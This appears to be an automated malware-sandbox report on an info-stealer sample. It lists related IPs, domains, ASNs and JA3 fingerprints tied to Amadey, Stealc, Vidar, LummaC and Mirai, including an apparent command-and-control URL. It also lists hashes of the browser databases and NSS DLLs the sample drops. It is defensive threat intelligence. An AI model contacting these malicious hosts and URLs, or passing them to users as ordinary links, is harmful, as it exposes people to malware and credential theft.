	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	https://og.oomaal.in/	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	3.160.188.50
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.53
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.66
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.66
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	3.160.188.68
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.245.60.72
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	18.245.60.72
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	apep.mpsl.elf	Get hash	malicious	Mirai	Browse	22.17.151.205
	apep.spc.elf	Get hash	malicious	Mirai	Browse	20.128.235.115
	apep.ppc.elf	Get hash	malicious	Mirai	Browse	22.199.230.107
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	apep.arm6.elf	Get hash	malicious	Mirai	Browse	22.102.15.35
	apep.sh4.elf	Get hash	malicious	Mirai	Browse	22.56.249.126
	apep.arm.elf	Get hash	malicious	Unknown	Browse	104.45.6.234
	apep.x86.elf	Get hash	malicious	Mirai	Browse	51.145.132.12
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	apep.mpsl.elf	Get hash	malicious	Mirai	Browse	22.17.151.205
	apep.spc.elf	Get hash	malicious	Mirai	Browse	20.128.235.115
	apep.ppc.elf	Get hash	malicious	Mirai	Browse	22.199.230.107
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	apep.arm6.elf	Get hash	malicious	Mirai	Browse	22.102.15.35
	apep.sh4.elf	Get hash	malicious	Mirai	Browse	22.56.249.126
	apep.arm.elf	Get hash	malicious	Unknown	Browse	104.45.6.234
	apep.x86.elf	Get hash	malicious	Mirai	Browse	51.145.132.12
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	apep.mpsl.elf	Get hash	malicious	Mirai	Browse	22.17.151.205
	apep.spc.elf	Get hash	malicious	Mirai	Browse	20.128.235.115
	apep.ppc.elf	Get hash	malicious	Mirai	Browse	22.199.230.107
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	apep.arm6.elf	Get hash	malicious	Mirai	Browse	22.102.15.35
	apep.sh4.elf	Get hash	malicious	Mirai	Browse	22.56.249.126
	apep.arm.elf	Get hash	malicious	Unknown	Browse	104.45.6.234
	apep.x86.elf	Get hash	malicious	Mirai	Browse	51.145.132.12
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 40.126.53.11 23.218.208.109
	https://www.google.com.bn/url?iti=0f7mcwuPgcYWgPkkLzqF&rf=ikvSNatUMvtUwFEcAsoG&sa=t&we=JUanCcBwyQsVuJk1r0xp&url=amp%2Fhomedreamarc.rw%2Fjj%2FroghgehdjtiE-SUREJACKcm9iZXJ0LmRlbHVjYUBtbXNnLmNvbS5hdQ==	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 40.126.53.11 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 40.126.53.11 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 40.126.53.11 23.218.208.109
	file.exe	Get hash	malicious	Cryptbot	Browse	172.202.163.200 13.107.246.63 40.126.53.11 23.218.208.109
	https://turflivestockdetector.com/w9i7bsvz?key=90a69d928496daa17742efe425e1832b	Get hash	malicious	Anonymous Proxy	Browse	172.202.163.200 13.107.246.63 40.126.53.11 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 40.126.53.11 23.218.208.109
	https://og.oomaal.in/	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 40.126.53.11 23.218.208.109
	fantasy-cave-c-emission.trycloudflare com.vbs	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 40.126.53.11 23.218.208.109
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 40.126.53.11 23.218.208.109

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFCGDAAKFHIDBFIDBKFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAFHCBFHDHCAAKFHDGDBKFCGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAFIJDGHCBFHJKFCGIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IDHIDBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHJEBGIEBFIJKEBFBFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJDBFCAEBFIJJKFHDAECGDAEGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFHJJJKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.26505610387446
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM4SAELyKOMq+8yC8F/YfU5m+OlTLVum+:Bq+n0J49ELyKOMq+8y9/OwV
MD5:	90E64EAB74D95279B563D19C198EE42C
SHA1:	9B8C1201E2F7C0426E0A462F0A8ADB76C792F470
SHA-256:	AFC18C445CB0A8EC2E43B83F82EFA98F10FB4ADEC4AE2E5C122912C4EAC8D814
SHA-512:	26CC7FD0BD7F333FDD4C27788BC779108308C28B62C1C6FAF4648F717000FC04D5F080739945BFF9A1CCF4B0A09932F746CEB9758035BFA334CC50D2B68D29F4
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1c2824fb-1d10-4224-9bf3-a7a434bc79cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46138
Entropy (8bit):	6.088236830341853
Encrypted:	false
SSDEEP:	768:QMkbJrT8IeQc5SoabPutUhDO6vP6OdmdirpOIQmxgRCAoVGoup1Xl3jVzXr4Qu:QMk1rT8H6oa06kIQ9RoVhu3VlXr4x
MD5:	6E2EC5A24605B4C3F1746A3A5A49403F
SHA1:	4D3B5C90A3CE6C39965A2EE94617F0071A5CDB16
SHA-256:	7EA114AE9ACA77A0AF7A679400F296741624C570F48DBFEF2D419F0072977F03
SHA-512:	BE48E8D0693FD9781917ED83759FDAA5F05A63FEF43133019FAFF6FD9ABD043FED7BA856B5ABFC9544C47E311A9C2C242FC038B3A89E4FC28E7C6CAA0DB24C70
Malicious:	false
